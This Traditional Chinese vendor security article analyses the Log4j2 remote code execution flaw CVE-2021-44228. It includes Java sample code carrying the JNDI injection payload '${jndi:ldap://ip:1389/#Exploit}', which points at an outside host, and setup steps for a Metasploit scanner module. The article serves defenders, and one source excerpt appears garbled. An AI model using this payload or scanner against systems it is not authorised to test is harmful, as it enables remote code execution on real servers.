資安新訊

2022-01-03Log4j2遠程命令執行(CVE-2021-44228)漏洞分析

前言

近期因應Apache Log4j重大風險漏洞,美國網路安全暨基礎架構管理署(CISA)昨日釋出掃瞄工具,方便企業或政府IT人員掃瞄自家軟體。而綠色運算目前NOPAM各版本均未使用Log4j,所以均不受影響,唯NUMail目前是調整組態以避免因此弱點被攻擊的方式處理,後續會隨著相關程式庫更新而更新。

Log4j2是一款優秀的java日誌監控套件,其被應用在各種框架中,同時也是java生態圈中最基礎的套件之一,因此這類型的基礎套件要是發生漏洞崩塌,造成的影響是不可估量的。可從Apache Log4j2漏洞影響查詢得知受影響的開源專案共近60000個且涉及相關版本的專案也有近32000多個,且漏洞的觸發方式簡單,利用成本低,此次可以說是java生態圈的一場浩劫。

Log4j2是Apache的一個開源專案,可通過其控制日誌輸送的目標(控制台、NT事件記錄器及UNIX Syslog守護進程等);亦可控制每條日誌的輸出格式,種種功能皆可以通過修改一個配置文件完成,而不需要修改該應用的代碼。

漏洞分析

一般在配置文件中所配置的各種元素實際上對應的都是Log4j2中的各種插件,在解析配置文件xml過程中,會將配置的各種字符串元素名稱實例化為插件物件,然後與Logger進行關聯。

private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
  logger.error("${jndi:ldap://ip:1389/#Exploit}");
}

一旦在log的字符串中檢測到${},就會解析其中的字符串並嘗試使用lookup查詢,因此只要能控制log參數內容,就可以進行漏洞利用。

只要使用了AbstractLogger.java中的debug, info, warn, error, fatal等都會觸發該函數

@Override

public void fatal(final Marker marker, finall 
Message 
msg) 
{
  LogIfEnabled(FQCN, Level.FATAL, marker, msg, msg != null ? msg.getThrowable():null);
}
@Override

public void fatal(final Marker marker, finall Message msg) {
  LogIfEnabled(FQCN, Level.INFO, marker, msg, msg != null ? msg.getThrowable():null);
}

核心原理

在正常的log處理過程中會對$ {這兩個字符做檢測,一旦在字符串中匹配到,便會觸發替換機制。
採用this.config.getStrSubstitutor().replace(event, value)函數進行替換,字符串提取後,找到lookup的內容進行替換
並進行變數的解析提取
查找的過程中是根據變數所使用的協議

log4j2支持很多種協議,通過JndiLookup只是其中一種,就是通過Jndi標準去獲取相對應的配置,亦可通過docker查找 reference

前面提到觸發Lookup的條件就是使用:${}便會觸發使用Lookup,而我們在漏洞利用過程中常使用${jndi:ldap://ip:port}作為payload,同理會掉用JndiLookup並傳入ldap://ip:port作為參數

其中的jndi是一個interface,JndiLookup可以實現的具體物件很多,其中亦包括ldapURLContext

因此當前的注入方式是${jndi:ldap://ip:port}也就是讓log4j2框架執行error時,觸發JndiLookup,然後調用JndiLookup的ldap協議達到注入效果。

漏洞驗證POC

POC

查找的過程中是根據變數所使用的協議

usage

git clone
https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit

cd
CVE-2021-44228-log4jVulnScanner-metasploit

mkdir -p
~/.msf4/modules/auxiliary/scanner/http

cp log4j2.py
~/.msf4/modules/auxiliary/scanner/http/

chmod +x
~/.msf4/modules/auxiliary/scanner/http/log4j2.py

msfconsole

use auxiliary/scanner/http/log4j2

set url <vuln
url>

set dns <the self dns address or leave blank for
dnslog.cn>

set request_type <GET, POST, ALL >

set headers_file
<the path of http header param dictionary >

參考資料

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://www.anquanke.com/post/id/263325
https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg

Top